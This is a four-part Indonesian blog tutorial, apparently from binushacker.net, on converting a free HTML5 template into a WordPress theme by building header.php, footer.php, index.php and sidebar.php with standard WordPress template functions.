<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”" /><br /><img src=”images/ad125.jpg” alt=”" /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>
</section><!– end of #main content and sidebar–>
<footer>
<section id=”footer-area”>
<section id=”footer-outer-block”>
<aside>
<h4>Friends</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #first footer segment –>
<aside>
<h4>Awesome Stuff</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #second footer segment –>
<aside>
<h4>Coolness</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #third footer segment –>
<aside>
<h4>Blahdyblah</h4>
<p>&copy; 2010 <a href=”#”>yoursite.com</a> Praesent libero. Sed cursus ante dapibus diam. Sed nisi.</p>
</aside><!– end of #fourth footer segment –>
</section><!– end of footer-outer-block –>
</section><!– end of footer-area –>
</footer>
</div><!– #wrapper –>
<!– Free template created by http://freehtml5templates.com –>
</body>
</html>

Setelah terlihat isi indexnya, kita copy paste kedalam header.php
Berikut source yang akan kita copas.

<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8″ />
<title>ButterflyBrilliance</title>
<link rel=”stylesheet” href=”styles.css” type=”text/css” media=”screen” />
<link rel=”stylesheet” type=”text/css” href=”print.css” media=”print” />
<!–[if IE]><script src=”http://html5shiv.googlecode.com/svn/trunk/html5.js”></script><![endif]–>
</head>
<body>
<div id=”wrapper”><!– #wrapper –>
<header><!– header –>
<h1><a href=”#”>Butterfly Brilliance</a></h1>
<h2>Your interesting tag line goes here</h2>
</header><!– end of header –>
<nav><!– top nav –>
<div>
<ul>
<li><a href=”#”>Home</a></li>
<li><a href=”#”>About</a></li>
<li><a href=”#”>Products</a></li>
<li><a href=”#”>Services</a></li>
<li><a href=”#”>Support</a></li>
<li><a href=”#”>Contact Us</a></li>
</ul>
</div>
</nav><!– end of top nav –>
<section id=”main”><!– #main content and sidebar area –>

Sekarang tinggal kita edit source yang ada supaya dapat berjalan di blog wordpress kita,

<link rel=”stylesheet” href=”styles.css” type=”text/css” media=”screen” />

Seperti yang kita liat di tag diatas, tag itu tidak akan di eksekusi oleh wp engine, sekarang kita ubah sedikit agar dapat berjalan di blog wp kita

Tertulis disana href=”styles.css” jika dalam wordpress tag yang digunakan untuk memanggile style.css seperti ini <?php bloginfo (‘stylesheet_url’);?> maka dari itu, tulisan style.css kita ganti dengan tag diatas.,, maka akan menjadi seperti ini
 
<link rel=”stylesheet” href=”<?php bloginfo (‘stylesheet_url’);?>” type=”text/css” media=”screen” />

 Disana juga terdapat *.css yang lain

<link rel=”stylesheet” type=”text/css” href=”print.css” media=”print” />

Maka untuk memanggilnya kita gunakan tag kedua,
<?php bloginfo (‘template_url’);? />
Tambahkan tag itu di depan print.css maka hasilnya seperti ini
<link rel=”stylesheet” type=”text/css” href=”<?php bloginfo (‘template_url’);?>/ print.css” media=”print” />
Oke, setelah itu kita sisipkan tag

          <?php wp_head(); ?>

Sebelum </head>

Setelah itu kita SAVE.

Hasil akhirnya seperti ini

<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8″ />
<title>ButterflyBrilliance</title>
<link rel=”stylesheet” href=”<?php bloginfo (‘stylesheet_url’);?>” type=”text/css” media=”screen” />
<link rel=”stylesheet” type=”text/css” href=”<?php bloginfo (‘template_url’);?>/ print.css” media=”print” /> <!–[if IE]><script src=”http://html5shiv.googlecode.com/svn/trunk/html5.js”></script><![endif]–>
</head>
<body>
<div id=”wrapper”><!– #wrapper –>
<header><!– header –>
<h1><a href=”#”>Butterfly Brilliance</a></h1>
<h2>Your interesting tag line goes here</h2>
</header><!– end of header –>
<nav><!– top nav –>
<div>
<ul>
<li><a href=”#”>Home</a></li>
<li><a href=”#”>About</a></li>
<li><a href=”#”>Products</a></li>
<li><a href=”#”>Services</a></li>
<li><a href=”#”>Support</a></li>
<li><a href=”#”>Contact Us</a></li>
</ul>
</div>
</nav><!– end of top nav –>
<section id=”main”><!– #main content and sidebar area –                                                                           


Sebelum kita lanjut pada tahap selanjutnya, sedikit akan saya bahas apa saja sih yang bisa dimasukan kedalah header.php ini??

Disini kita bisa sisipkan favicon.

Contoh pemanggilan faviconya seperti ini

<link rel=”shortcut icon” href=”<?php bloginfo(‘template_directory’); ?>/favicon.ico” />

Untuk perjumpaan yang sekarang saya cukupkan sampai disini dulu, udah magrib, saatnya saya untuk mandi dan solat, so kita lanjutkan pada perjumpaan yang selanjutnya..

Oke, have a niceday and GBU
 

 

PART 2


Oke kawan, selamat morning, kali ini kita akan membahas Belajar Membuat Theme WordPress Part 2.
Kita awali pagi dengan senyuman, oke :D

Oke, sebelum kita lanjutkan pembahasan yang kemaren, http://www.binushacker.net/belajar-membuat-theme-wordpress-p1.html, mungkin diantara kalian yang membaca dan menyimak tutor ini bertanya tanya, kenapa tag html nya berbeda dari html yang biasa kita jumpai?

Jadi begini kawan, dunia internet semakin berkembang, dan para developer web pun mengembangkan source supaya lebih mudah dan simple, maka dari itu, sedikit demi sedikit saya akan membiasakan dalam tutor desain yang saya berikan itu menggunakan HTML5+css3, karena dalam dalam dunia webdis (web desain) source ini sedang di gandrungi :D
Oke, sekarang kita lanjut ke step selanjutnya….

Setelah kemaren kita membuat file header.php

Sekarang kita akan membuat pasanganya, yaitu footer.php
Sedikit kita review…

<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8″ />
<title>ButterflyBrilliance</title>
<link rel=”stylesheet” href=”styles.css” type=”text/css” media=”screen” />
<link rel=”stylesheet” type=”text/css” href=”print.css” media=”print” />
<!–[if IE]><script src=”http://html5shiv.googlecode.com/svn/trunk/html5.js”></script><![endif]–>
</head>
<body>
<div id=”wrapper”><!– #wrapper –>
<header><!– header –>
<h1><a href=”#”>Butterfly Brilliance</a></h1>
<h2>Your interesting tag line goes here</h2>
</header><!– end of header –>
<nav><!– top nav –>
<div>
<ul>
<li><a href=”#”>Home</a></li>
<li><a href=”#”>About</a></li>
<li><a href=”#”>Products</a></li>
<li><a href=”#”>Services</a></li>
<li><a href=”#”>Support</a></li>
<li><a href=”#”>Contact Us</a></li>
</ul>
</div>
</nav><!– end of top nav –>
<section id=”main”><!– #main content and sidebar area –>
<section id=”content”><!– #content –>
<article>
<h2><a href=”#”>First Article Title</a></h2>
<p><img src=”images/orangebutterfly.png” alt=”” />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>
<article>
<h2><a href=”#”>Second Article Title</a></h2>
<p><img src=”images/coolbutterfly.png” alt=”” />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
<p>Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>
</section><!– end of #content –>
<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”” /><br /><img src=”images/ad125.jpg” alt=”” /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>
</section><!– end of #main content and sidebar–>
<footer>
<section id=”footer-area”>
<section id=”footer-outer-block”>
<aside>
<h4>Friends</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #first footer segment –>
<aside>
<h4>Awesome Stuff</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #second footer segment –>
<aside>
<h4>Coolness</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #third footer segment –>
<aside>
<h4>Blahdyblah</h4>
<p>&copy; 2010 <a href=”#”>yoursite.com</a> Praesent libero. Sed cursus ante dapibus diam. Sed nisi.</p>
</aside><!– end of #fourth footer segment –>
</section><!– end of footer-outer-block –>
</section><!– end of footer-area –>
</footer>
</div><!– #wrapper –>
<!– Free template created by http://freehtml5templates.com –>
</body>
</html>

 Dari source diatas kita akan ambil bagian footernya,
Here we go……..

</section><!– end of #main content and sidebar–>
<footer>
<section id=”footer-area”>
<section id=”footer-outer-block”>
<aside>
<h4>Friends</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #first footer segment –>
<aside>
<h4>Awesome Stuff</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #second footer segment –>
<aside>
<h4>Coolness</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #third footer segment –>
<aside>
<h4>Blahdyblah</h4>
<p>&copy; 2010 <a href=”#”>yoursite.com</a> Praesent libero. Sed cursus ante dapibus diam. Sed nisi.</p>
</aside><!– end of #fourth footer segment –>
</section><!– end of footer-outer-block –>
</section><!– end of footer-area –>
</footer>
</div><!– #wrapper –>
<!– Free template created by http://freehtml5templates.com –>
</body>
</html>

Dalam footer ini ga ada yang aneh, secara keseluruhan hampir sama dengan header, so just place this code <?php wp_footer(); ?> before </body>,
 
Berikut fungsi wp_footer menurut
http://www.wpdesigner.com

The wp_footer() function is often used by plugins to insert PHP codes after everything else on your page. According to WordPress.org theme development documentation, you should place the wp_footer() function in the footer, which would be in the footer.php file.
One detail that WordPress.org doesn’t mention is that most plugins (i.e: Spam Karma 2, PodPress, and FireStats), using the wp_footer() function, tend to break your theme. A well-designed and well-built theme is nothing without a safely placed wp_footer() function.
Here’s my advice. Don’t place the wp_footer() function right before the end; that’s usually the closing body tag. Instead, place that function within a DIV or container. For example:
Posts
Sidebar
If you do that, no matter what a certain plugin does to the footer of your theme, it doesn’t expand beyond the container or DIV containing the wp_footer() function. You can open up the footer.php file of the Greed theme for an example.
Update:
Place the wp_footer() function within a style-less container (usually the outermost div with no backgrounds and images) that your layout doesn’t depend on. Otherwise, you might end up with an incomplete layout while waiting for a slow loading plugin.

Jadi secara harfiah fungsi dari wp_footer adalah sebagai tolak ukur penggunaan plug-in jika ingin plug-in nya itu berjalan seperti sebagai mana mestinya.
Jadi final source untuk footer.php ada lahah seperti ini.

</section><!– end of #main content and sidebar–>
<footer>
<section id=”footer-area”>
<section id=”footer-outer-block”>
<aside>
<h4>Friends</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #first footer segment –>
<aside>
<h4>Awesome Stuff</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #second footer segment –>
<aside>
<h4>Coolness</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #third footer segment –>
<aside>
<h4>Blahdyblah</h4>
<p>&copy; 2010 <a href=”#”>yoursite.com</a> Praesent libero. Sed cursus ante dapibus diam. Sed nisi.</p>
</aside><!– end of #fourth footer segment –>
</section><!– end of footer-outer-block –>
</section><!– end of footer-area –>
</footer>
<?php wp_footer(); ?>
</div><!– #wrapper –>
<!– Free template created by http://freehtml5templates.com –>

</body>
</html>

So thats all our leason for today, hope you understand.
And than have a great day and GBU
See ya in next step….

PS: Untuk berdiskusi silakan ke: http://forum.binushacker.net




PART 3


Malam, begadang nih, dari pada ga ada kerjaan mending kita lanjutin materi yang sebelumnya gue bahas yaitu membuat footer.php
langsung aja dah,



Step selanjutnya adalah membuat isian dari index.php

Sebelumnya kita ulas dulu isi dari header.php dan footer.php

header.php

<!doctype html>
<html lang=”en”>
<head>
<meta charset=”utf-8″ />
<title>ButterflyBrilliance</title>
<link rel=”stylesheet” href=”<?php bloginfo (‘stylesheet_url’);?>” type=”text/css” media=”screen” />
<link rel=”stylesheet” type=”text/css” href=”<?php bloginfo (‘template_url’);?>/ print.css” media=”print” /> <!–[if IE]><script src=”http://html5shiv.googlecode.com/svn/trunk/html5.js”></script><![endif]–>
</head>
<body>
<div id=”wrapper”><!– #wrapper –>
<header><!– header –>
<h1><a href=”#”>Butterfly Brilliance</a></h1>
<h2>Your interesting tag line goes here</h2>
</header><!– end of header –>
<nav><!– top nav –>
<div>
<ul>
<li><a href=”#”>Home</a></li>
<li><a href=”#”>About</a></li>
<li><a href=”#”>Products</a></li>
<li><a href=”#”>Services</a></li>
<li><a href=”#”>Support</a></li>
<li><a href=”#”>Contact Us</a></li>
</ul>
</div>
</nav><!– end of top nav –>
<section id=”main”><!– #main content and sidebar area –>

footer.php

</section><!– end of #main content and sidebar–>
<footer>
<section id=”footer-area”>
<section id=”footer-outer-block”>
<aside>
<h4>Friends</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #first footer segment –>
<aside>
<h4>Awesome Stuff</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #second footer segment –>
<aside>
<h4>Coolness</h4>
<ul>
<li><a href=”#”>one linkylink</a></li>
<li><a href=”#”>two linkylinks</a></li>
<li><a href=”#”>three linkylinks</a></li>
</ul>
</aside><!– end of #third footer segment –>
<aside>
<h4>Blahdyblah</h4>
<p>&copy; 2010 <a href=”#”>yoursite.com</a> Praesent libero. Sed cursus ante dapibus diam. Sed nisi.</p>
</aside><!– end of #fourth footer segment –>
</section><!– end of footer-outer-block –>
</section><!– end of footer-area –>
</footer>
<?php wp_footer(); ?>
</div><!– #wrapper –>
<!– Free template created by http://freehtml5templates.com –>
</body>
</html>
 Oke sekarang kita buat index nya, buka file index.php nya
Dan masukan 2 code ini:

<?php get_header()?>
<?php get_footer();?>
 Sekarang buka file index.html dari tema yang kemaren kita download dan copy paste code ini di antara kedua code diatas,dan hasilnya seperti ini.

<?php get_header()?>
<section id=”content”><!– #content –>
<article>
<h2><a href=”#”>First Article Title</a></h2>
<p><img src=”images/orangebutterfly.png” alt=”” />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>
<article>
<h2><a href=”#”>Second Article Title</a></h2>
<p><img src=”images/coolbutterfly.png” alt=”” />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
<p>Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>
</section><!– end of #content –>
<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”” /><br /><img src=”images/ad125.jpg” alt=”” /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>
<?php get_footer();?>

Sampai disini sebenarnya template ini sudah siap di tes (tapi belum layak pakai)
Tugas kita selanjutnya adalah menampilkan hasil dari postingan kita.

Seperti yang tertulis dari code index diatas, disana terdapat dua tag article, kita buang saja satu,
Hasilnya seperti ini:

<?php get_header()?>
<section id=”content”><!– #content –>
<article>
<h2><a href=”#”>First Article Title</a></h2>
<p><img src=”images/orangebutterfly.png” alt=”” />Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer nec odio. Praesent libero. Sed cursus ante dapibus diam. Sed nisi. Nulla quis sem at nibh elementum imperdiet. Duis sagittis ipsum. Praesent mauris. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Curabitur sodales ligula in libero. Sed dignissim lacinia nunc. Fusce nec tellus sed augue semper porta. Mauris massa. Vestibulum lacinia arcu eget nulla. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos.</p>
</article>

</section><!– end of #content –>
<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”” /><br /><img src=”images/ad125.jpg” alt=”” /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>
<?php get_footer();?>
Sekarang kita akan memasangkan jamu pemanggil postingan kita,
Here we go…..
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<?php endwhile; ?>
<?php endif; ?>

Kita pasangkan di tag article kita, final code is right here.
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php endwhile; ?>
<?php endif; ?>
Jadi hasil dari kerja kita malam ini menghasilkan source index.php seperti ini:
<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php endwhile; ?>
<?php endif; ?>

</section><!– end of #content –>
<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”” /><br /><img src=”images/ad125.jpg” alt=”” /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>
<?php get_footer();?>

PART 4


Yah baru sempet posting lagi.. beberapa hari ini agak disibukan ma tunggakan tugas yang udah musti kelar buat sarat ikut UAS, ditambah lagi repot beresin porum komunitas, tutor nya jadi terbengkalai dah….



Berhubung hutang itu harus di bayar, jadi ane lanjutin lagi dah tutor nya…
Mungkin dari kalian semua ada yang berpendapat kenapa tutor nya ga disatuin aja, kenapa musti dibagi bagi gini??

gini gan, dulu ane pernah singgah disalah satu blog tutor, disana menerapkan one week one content.dan itu ternyata berhasil, karena kita akan lebih fokus dalam satu ulasan itu, tanpa terpengaruh oleh yang lain, nah konsep seperti itu mulai ane terapin dihampir semua site garapan ane,ane harap sih, kalian semua bisa menerima cara penyampaian yang ane jalankan, sukur sukur agan semua kaga puas dengan apa yang udah ane sampein, jadi bisa bertanya dan lebih ngulik lagi soal bahasanya, tambah banyak kan tambah ilmu. right?

Lanjut setelah kemaren kita buat index.php..
http://www.binushacker.net/belajar-membuat-theme-wordpress-p3.html

Enaknya kita ngelancong kemana dulu ya??
Yang pendek pendek dulu aja kalia ya.. oke deh,, hari ini kita akan bahas sidebar.php
Sebelum nya review dulu isian dari idex.php

index.php

<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php endwhile; ?>
<?php endif; ?>

</section><!– end of #content –>
<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”” /><br /><img src=”images/ad125.jpg” alt=”” /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>
<?php get_footer();?>

Dalam html5, sudah disediakan tag sidebar, yaitu “aside” jadi kita buka file sidebar.php
dan index.php nya,

Cut code ini dari index.php

<aside id=”sidebar”><!– sidebar –>
<h3>Things To Do</h3>
<ul>
<li><a href=”#”>Play Games</a></li>
<li><a href=”#”>Chat With Friends</a></li>
<li><a href=”#”>Swap Stories</a></li>
<li><a href=”#”>Sell Stuff</a></li>
<li><a href=”#”>Buy Stuff</a></li>
<li><a href=”#”>Trade Stuff</a></li>
</ul>
<h3>Sponsors</h3>
<img src=”images/ad125.jpg” alt=”” /><br /><img src=”images/ad125.jpg” alt=”” /><br /><br />
<h3>Connect With Us</h3>
<ul>
<li><a href=”#”>Twitter</a></li>
<li><a href=”#”>Facebook</a></li>
</ul>
</aside><!– end of sidebar –>

Dan paste-kan di sidebar.php

Sekarang buka lagi file index.php nya, kita akan masukan tak pemanggil sidebar.
Here we go….

<?php get_sidebar(); ?>
Nah, sekarang pasang fungsi itu di index.php
Jadinya seperti ini….

<?php get_header()?>
<section id=”content”><!– #content –>
<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
<article>
<h2><a href=”<?php the_permalink() ?>” ><?php the_title(); ?></a></h2>
<p><img src=”<?php bloginfo(‘template_directory’); ?>/images/orangebutterfly.png” alt=”” />
<?php the_content(‘Read more &raquo;’); ?></p>
</article>
<?php endwhile; ?>
<?php endif; ?>

</section><!– end of #content –>
<?php get_sidebar(); ?><?php get_footer();?>

Setelah itu save file index.phpnya, sekarang buka file sidebar.php
Nah berikut fungsi yang biasa diisikan di file sidebar.php
  1. <?php wp_list_pages(‘title_li=<h2>Pages</h2>’); ?>
  2. <?php wp_list_cats(); ?>
  3. <?php wp_get_archives(‘type=monthly’); ?>
  4. <?php related_posts(10, 10, ‘<li>’, ‘</li>’, ”, ”, false, false); ?>
Fungsi diatas masih bisa agan semua modifikasi lagi,silakan lihat http://codex.wordpress.org/Customizing_Your_Sidebar jika ingin mengetahui lebih dalam tentang costumasi sidebar. untuk sekarang saya hanya akan menggunakan sebagian saja biar tidak riweuh… wkwkwk :D

Ini hasil akhir untuk file sidebar.php

<aside id=”sidebar”><!– sidebar –>
<h3>
<?php _e(‘Categories:’); ?>
</h3>
<ul>
<?php wp_list_categories(‘title_li=‘); ?>
</ul>
<h3>
<?php _e(‘Pages:’); ?>
</h3>
<ul>
<?php wp_list_pages(‘title_li=’); ?>
</ul>
<h3>
<?php _e(‘Archiev:’); ?>
</h3>
<ul>
<?php wp_get_archives(‘type=monthly’); ?>
</ul>
</aside><!– end of sidebar –>

Save and done…
Thanks For @ binushacker.net



































[ Read More ]

Sponsors